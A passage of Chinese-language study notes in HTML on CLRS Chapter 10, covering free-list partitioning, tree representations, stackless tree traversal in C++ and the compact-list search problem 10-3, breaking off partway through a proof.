class="mord mathnormal">L</span></span></span></span> 的元素划分到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mn>1</mn><mo separator="true">,</mo><mi>n</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[1, n]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">]</span></span></span></span>，自由表划分到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mi>n</mi><mo>+</mo><mn>1</mn><mo separator="true">,</mo><mi>m</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[n + 1, m]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mclose">]</span></span></span></span>，所以要处理的是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mi>n</mi><mo>+</mo><mn>1</mn><mo separator="true">,</mo><mi>m</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[n + 1, m]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mclose">]</span></span></span></span> 中的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> 的元素以及 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mn>1</mn><mo separator="true">,</mo><mi>n</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[1, n]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">]</span></span></span></span> 中的自由表元素。</p><p>那么就和快速排序中的分区一样，两两交换直到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mn>1</mn><mo separator="true">,</mo><mi>n</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[1, n]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">]</span></span></span></span> 中没有自由表元素，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">[</mo><mi>n</mi><mo>+</mo><mn>1</mn><mo separator="true">,</mo><mi>m</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">[n + 1, m]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mclose">]</span></span></span></span> 中没有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> 的元素。</p><p>此处的“交换”，必须要考虑修改被交换元素的指针，以及指针指向的节点的指针，保证链表结构不被破坏。</p><h2 id="representing-rooted-trees"><a class="markdownIt-Anchor" href="#representing-rooted-trees"></a> Representing Rooted Trees</h2><p>有根树显然可以用链表来表示，其中分为分支有限树和分支无限树。</p><h3 id="k-ary-tree"><a class="markdownIt-Anchor" href="#k-ary-tree"></a> k-ary Tree</h3><p>假设每个节点有 k 个子节点，比如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">k = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> 是二叉树</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Node</span>&#123;</span><br><span class="line">  <span class="type">int</span> value;</span><br><span class="line">  Node *left_child;</span><br><span class="line">  Node *right_child;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>但如果 k 很大，可以用指针数组存储子节点的指针。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Node</span>&#123;</span><br><span class="line">  <span class="type">int</span> value;</span><br><span class="line">  Node *children[k];</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>但是如果 k 很大但实际子节点很少，那么就会浪费空间。</p><h3 id="general-tree"><a class="markdownIt-Anchor" href="#general-tree"></a> General Tree</h3><p>对于这些树，可以用左孩子右兄弟表示法来表示，其中 <code>left_child</code> 指向第一个子节点，<code>right_sibling</code> 指向下一个兄弟节点。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Node</span>&#123;</span><br><span class="line">  <span class="type">int</span> value;</span><br><span class="line">  Node *left_child;</span><br><span class="line">  Node *right_sibling;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>对于这种树，若目标节点是父节点的第 i 个子节点，那么需要从父节点的 <code>left_child</code> 开始，沿着 <code>right_sibling</code> 向右移动 i-1 次才能找到目标节点。</p><blockquote><p>10.4-4 不利用递归和栈，直接 O(n) 实现树的遍历</p></blockquote><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">traverse</span><span class="params">(Node *root)</span></span>&#123;</span><br><span class="line">  Node *current = root;</span><br><span class="line">  <span class="keyword">while</span>(current != <span class="literal">NULL</span>)&#123;</span><br><span class="line">    <span class="comment">// 访问 current</span></span><br><span class="line">    <span class="keyword">if</span>(current-&gt;left_child != <span class="literal">NULL</span>)&#123;</span><br><span class="line">      current = current-&gt;left_child;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span>(current-&gt;right_child != <span class="literal">NULL</span>)&#123;</span><br><span class="line">      current = current-&gt;right_child;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123; <span class="comment">// 没有子节点，开始回退</span></span><br><span class="line">      backtracking:</span><br><span class="line">      <span class="keyword">if</span> (current == root) <span class="keyword">break</span>; <span class="comment">// 回退到根节点，遍历结束</span></span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> (current == current-&gt;parent-&gt;left_child) &#123; <span class="comment">// 是父节点的左子节点</span></span><br><span class="line">        <span class="keyword">if</span> (current-&gt;parent-&gt;right_child != <span class="literal">NULL</span>) &#123;</span><br><span class="line">          current = current-&gt;parent-&gt;right_child; <span class="comment">// 回退到父节点的右子节点</span></span><br><span class="line">        &#125; <span class="keyword">else</span> &#123; <span class="comment">// 没有右子节点</span></span><br><span class="line">          current = current-&gt;parent; <span class="comment">// 回退到父节点</span></span><br><span class="line">          <span class="keyword">goto</span> backtracking;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123; <span class="comment">// 是父节点的右子节点</span></span><br><span class="line">          current = current-&gt;parent; <span class="comment">// 回退到父节点</span></span><br><span class="line">          <span class="keyword">goto</span> backtracking;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但如上的 <code>goto</code> 实现很丑陋，<a href="https://walkccc.me/CLRS/Chap10/10.4/#104-5-star">https://walkccc.me/CLRS/Chap10/10.4/#104-5-star</a> 提供了一份维护 <code>prev</code> 指针的实现。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> <span class="title">traverse</span><span class="params">(Node *root)</span> </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (root == <span class="literal">nullptr</span>) <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line">    Node *current = root;</span><br><span class="line">    Node *prev = <span class="literal">nullptr</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> (current != <span class="literal">nullptr</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (prev == <span class="literal">nullptr</span> || prev == current-&gt;parent) &#123;</span><br><span class="line">            <span class="keyword">if</span> (current-&gt;left_child != <span class="literal">nullptr</span>) &#123;</span><br><span class="line">                prev = current;</span><br><span class="line">                current = current-&gt;left_child;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (current-&gt;right_child != <span class="literal">nullptr</span>) &#123;</span><br><span class="line">                prev = current;</span><br><span class="line">                current = current-&gt;right_child;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                prev = current;</span><br><span class="line">                current = current-&gt;parent;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (prev == current-&gt;left_child) &#123;</span><br><span class="line">            <span class="keyword">if</span> (current-&gt;right_child != <span class="literal">nullptr</span>) &#123;</span><br><span class="line">                prev = current;</span><br><span class="line">                current = current-&gt;right_child;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                prev = current;</span><br><span class="line">                current = current-&gt;parent;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            prev = current;</span><br><span class="line">            current = current-&gt;parent;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>10.4-6 将左孩子右兄弟法的三个指针改为两个指针和一个布尔值，使其节点的父节点或者所有其孩子节点可以在其孩子树的线性时间内到达</p></blockquote><p>将 <code>parent</code> 指针换为 <code>is_final_left_child</code> 布尔值，表示当前节点是否是父节点的最右子节点。</p><p>如果是最右子节点，那么它的 <code>right_sibling</code> 就指向父节点；如果不是最右子节点，那么它的 <code>right_sibling</code> 就指向下一个兄弟节点。</p><p><em><code>parent</code> 字段一直重复，而最右子节点的 <code>right_sibling</code> 总是 <code>null</code> 显然应该从它俩下手</em></p><h2 id="10-3-searching-a-sorted-compact-list"><a class="markdownIt-Anchor" href="#10-3-searching-a-sorted-compact-list"></a> 10-3 Searching a sorted compact list</h2><p>根据前文，我们可以得到一个有序紧凑链表，10-3 给出思路将其搜索时间复杂度降低到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msqrt><mi>n</mi></msqrt><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\sqrt{n})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0503em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">n</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p><!-- COMPACT-LIST-SEARCH(L, n, k)    i = L    while i != NIL and key[i] < k        j = RANDOM(1, n)        if key[i] < key[j] and key[j] ≤ k            i = j            if key[i] == k                return i        i = next[i]    if i == NIL or key[i] > k        return NIL    else return i --><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">COMPACT_LIST_SEARCH</span><span class="params">(<span class="type">int</span> L, <span class="type">int</span> n, <span class="type">int</span> k)</span> </span>&#123;</span><br><span class="line">    <span class="type">int</span> i = L;</span><br><span class="line">    <span class="keyword">while</span> (i != NIL &amp;&amp; key[i] &lt; k) &#123;</span><br><span class="line">        <span class="type">int</span> j = <span class="built_in">RANDOM</span>(<span class="number">1</span>, n);</span><br><span class="line">        <span class="keyword">if</span> (key[i] &lt; key[j] &amp;&amp; key[j] &lt;= k) &#123;</span><br><span class="line">            i = j;</span><br><span class="line">            <span class="keyword">if</span> (key[i] == k) &#123;</span><br><span class="line">                <span class="keyword">return</span> i;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        i = next[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (i == NIL || key[i] &gt; k) &#123;</span><br><span class="line">        <span class="keyword">return</span> NIL;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> i;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>以及为了方便分析而简化的版本：</p><!-- COMPACT-LIST-SEARCH'(L, n, k, t)    i = L    for q = 1 to t        j = RANDOM(1, n)        if key[i] < key[j] and key[j] ≤ k            i = j            if key[i] == k                return i    while i != NIL and key[i] < k        i = next[i]    if i == NIL or key[i] > k        return NIL    else return i --><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">COMPACT_LIST_SEARCH_PRIME</span><span class="params">(<span class="type">int</span> L, <span class="type">int</span> n, <span class="type">int</span> k, <span class="type">int</span> t)</span> </span>&#123;</span><br><span class="line">    <span class="type">int</span> i = L;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> q = <span class="number">1</span>; q &lt;= t; q++) &#123;</span><br><span class="line">        <span class="type">int</span> j = <span class="built_in">RANDOM</span>(<span class="number">1</span>, n);</span><br><span class="line">        <span class="keyword">if</span> (key[i] &lt; key[j] &amp;&amp; key[j] &lt;= k) &#123;</span><br><span class="line">            i = j;</span><br><span class="line">            <span class="keyword">if</span> (key[i] == k) &#123;</span><br><span class="line">                <span class="keyword">return</span> i;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> (i != NIL &amp;&amp; key[i] &lt; k) &#123;</span><br><span class="line">        i = next[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (i == NIL || key[i] &gt; k) &#123;</span><br><span class="line">        <span class="keyword">return</span> NIL;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> i;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>区别在于 <code>COMPACT-LIST-SEARCH</code> 中随机跳跃和线性搜索交替进行，而 <code>COMPACT-LIST-SEARCH'</code> 中先进行 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi></mrow><annotation encoding="application/x-tex">t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 次随机跳跃，再进行线性搜索。</p></blockquote><p>假设随机变量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>X</mi><mi>t</mi></msub></mrow><annotation encoding="application/x-tex">X_t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 为经过 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi></mrow><annotation encoding="application/x-tex">t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 次随机跳跃后，<code>COMPACT-LIST-SEARCH</code> 中 <code>i</code> 到目标 <code>k</code> 的距离。</p><p>题目给出的论证过程分为：</p><ol><li>假设 <code>COMPACT-LIST-SEARCH(L, n, k)</code> 的 <code>while</code> 循环执行了 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi></mrow><annotation encoding="application/x-tex">t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 次，论证 <code>COMPACT-LIST-SEARCH'(L, n, k, t)</code> 会返回一样的结果，且 <code>COMPACT-LIST-SEARCH'(L, n, k, t)</code> 的 <code>while</code> 和 <code>for</code> 循环的迭代次数之和至少为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi></mrow><annotation encoding="application/x-tex">t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span>。</li></ol><p>由于两者的 <code>RANDOM</code> 返回序列相同，设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>m</mi></msub></mrow><annotation encoding="application/x-tex">i_m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 为 <code>CLS</code> 在第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 次循环开始时的指针，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>i</mi><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup></mrow><annotation encoding="application/x-tex">i&#x27;_m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9989em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span></span> 为 <code>CLS'</code> 在第 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 次循环开始时的指针。</p><p>考虑循环不变式 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msubsup><mi>i</mi><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">]</mo><mo>≤</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mi>m</mi></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[i&#x27;_m] \le key[i_m]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span> 始终成立。</p><p>基础情况：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">m = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，两者都从头节点开始，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msubsup><mi>i</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">]</mo><mo>=</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mn>1</mn></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[i&#x27;_1] = key[i_1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" 